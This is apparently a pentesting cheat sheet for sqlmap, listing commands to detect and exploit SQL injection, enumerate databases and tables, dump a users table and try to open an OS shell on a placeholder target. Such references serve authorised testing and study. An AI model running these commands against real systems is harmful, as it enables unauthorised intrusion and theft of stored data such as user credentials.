sqlMap
sqlmap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws.
Simple Scan (GET Request)
Section titled “Simple Scan (GET Request)”# Basic target URL scansqlmap -u "http://target.com/page.php?id=1" --batch
# Scan with custom parameterssqlmap -u "http://target.com/page.php?id=1" -p id --level=3 --risk=2Scan via POST File (Captured from Burp)
Section titled “Scan via POST File (Captured from Burp)”# Capture request with Burp, save to file (request.txt) and scansqlmap -r request.txt
# Specify the parameter to test in the requestsqlmap -r request.txt -p usernameEnumeration & Privilege Escalation
Section titled “Enumeration & Privilege Escalation”# Get databasessqlmap -u "http://target.com/page.php?id=1" --dbs
# List tables from a specific databasesqlmap -u "http://target.com/page.php?id=1" -D database_name --tables
# Dump columns and entries from a specific tablesqlmap -u "http://target.com/page.php?id=1" -D db_name -T users --columns --dump
# Try to spawn an interactive OS shell (if database privileges permit)sqlmap -u "http://target.com/page.php?id=1" --os-shell